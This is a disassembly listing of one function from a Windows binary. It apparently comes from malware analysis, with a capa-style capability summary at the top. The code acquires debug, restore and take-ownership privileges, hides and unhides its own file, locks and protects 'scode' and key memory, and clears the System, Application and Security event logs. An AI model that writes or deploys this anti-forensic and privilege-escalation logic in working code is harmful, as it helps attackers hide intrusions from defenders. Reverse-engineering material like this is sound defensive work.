Function at 0x140101e70
Capabilities:
Access the windows event log
Acquire debug privileges
Allocate or change rwx memory
Check if file exists
Check mutex on windows
Clear windows event logs
Get file attributes
Set file attributes

Disassembly:
push rbx
sub rsp, 0x170
mov rax, qword [0x1403c13c0]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea r8, [0x1403a1560]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
je 0x14010227d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14010227d
mov edx, 0x20
lea rcx, [0x1403c69b8]
call fcn.140110ea0
test eax, eax
je 0x1401022be
lea rdx, str.SeDebugPrivilege
lea rcx, [rsp + 0x20]
call fcn.140103bf0
nop
lea rcx, [rsp + 0x20]
call fcn.1400fe4e0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140101f2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140101f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401022e4
call fcn.140295840
lea rdx, str.SeRestorePrivilege
lea rcx, [rsp + 0x20]
call fcn.140103bf0
nop
lea rcx, [rsp + 0x20]
call fcn.1400fe4e0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140101f8d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140101f88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401022ea
call fcn.140295840
lea rdx, str.SeTakeOwnershipPrivilege
lea rcx, [rsp + 0x20]
call fcn.140103bf0
nop
lea rcx, [rsp + 0x20]
call fcn.1400fe4e0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140101fec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140101fe7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401022f0
call fcn.140295840
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
test eax, eax
je 0x1401022f6
lea rdx, str.Priority_increased_to_high.
lea rbx, [0x1403c4fc0]
mov rcx, rbx
call fcn.140106de0
mov rcx, rax
call fcn.140107090
mov edx, 0x26
lea rcx, [0x1403c20a0]
call qword [sym.imp.KERNEL32.dll_VirtualLock]
test eax, eax
jne 0x14010204c
lea rbx, [0x1403c5140]
lea rdx, str.Failed_to_lock_scode_memory_
jmp 0x140102090
lea rdx, str.Scode_memory_locked_successfully_
mov rcx, rbx
call fcn.140106de0
mov rcx, rax
call fcn.140107090
mov edx, 0x20
lea rcx, [0x1403c69b8]
call qword [sym.imp.KERNEL32.dll_VirtualLock]
test eax, eax
jne 0x140102089
lea rbx, [0x1403c5140]
lea rdx, str.Failed_to_lock_key_memory_
jmp 0x140102090
lea rdx, str.Key_memory_locked_successfully_
mov rcx, rbx
call fcn.140106de0
mov rcx, rax
call fcn.140107090
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1401020d5
or eax, 2
mov edx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x1401020f0
lea rdx, str.Failed_to_get_file_attributes.
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140107090
call fcn.140100ec0
call fcn.140101240
call fcn.140101cd0
lea rdx, str.System
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov rbx, rax
test rax, rax
je 0x14010212a
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
lea rdx, str.Application
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov rbx, rax
test rax, rax
je 0x140102155
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
lea rdx, str.Security
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov rbx, rax
test rax, rax
je 0x140102180
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1401021b5
and eax, 0xfffffffd
mov edx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x1401021d0
lea rdx, str.Failed_to_get_file_attributes.
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140107090
call fcn.1401017f0
lea r9, [rsp + 0x40]
mov edx, 0x26
mov r8d, 0x101
lea rcx, [0x1403c20a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14010231c
lea r9, [rsp + 0x40]
mov edx, 0x20
mov r8d, 0x101
lea rcx, [0x1403c69b8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140102298
mov edx, 0x26
lea rcx, [0x1403c20a0]
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
test eax, eax
jne 0x14010224c
lea rdx, str.Failed_to_unlock_scode_memory_
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140107090
mov edx, 0x20
lea rcx, [0x1403c69b8]
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
test eax, eax
jne 0x14010227d
lea rdx, str.Failed_to_unlock_key_memory_
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140107090
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140295820
add rsp, 0x170
pop rbx
ret
lea rdx, str.Error_protecting_memory_for_sensitive_data.
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140103b40
mov ecx, 1
call fcn.14029b958
int3
lea rdx, str.Error_generating_random_bytes.
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140103b40
mov ecx, 1
call fcn.14029b958
int3
call fcn.1402a3c3c
int3
call fcn.1402a3c3c
int3
call fcn.1402a3c3c
int3
lea rdx, str.Failed_to_set_priority.
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140103b40
mov ecx, 1
call fcn.14029b958
int3
lea rdx, str.Error_protecting_memory_for_sensitive_data.
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
call fcn.140103b40
mov ecx, 1
call fcn.14029b958
int3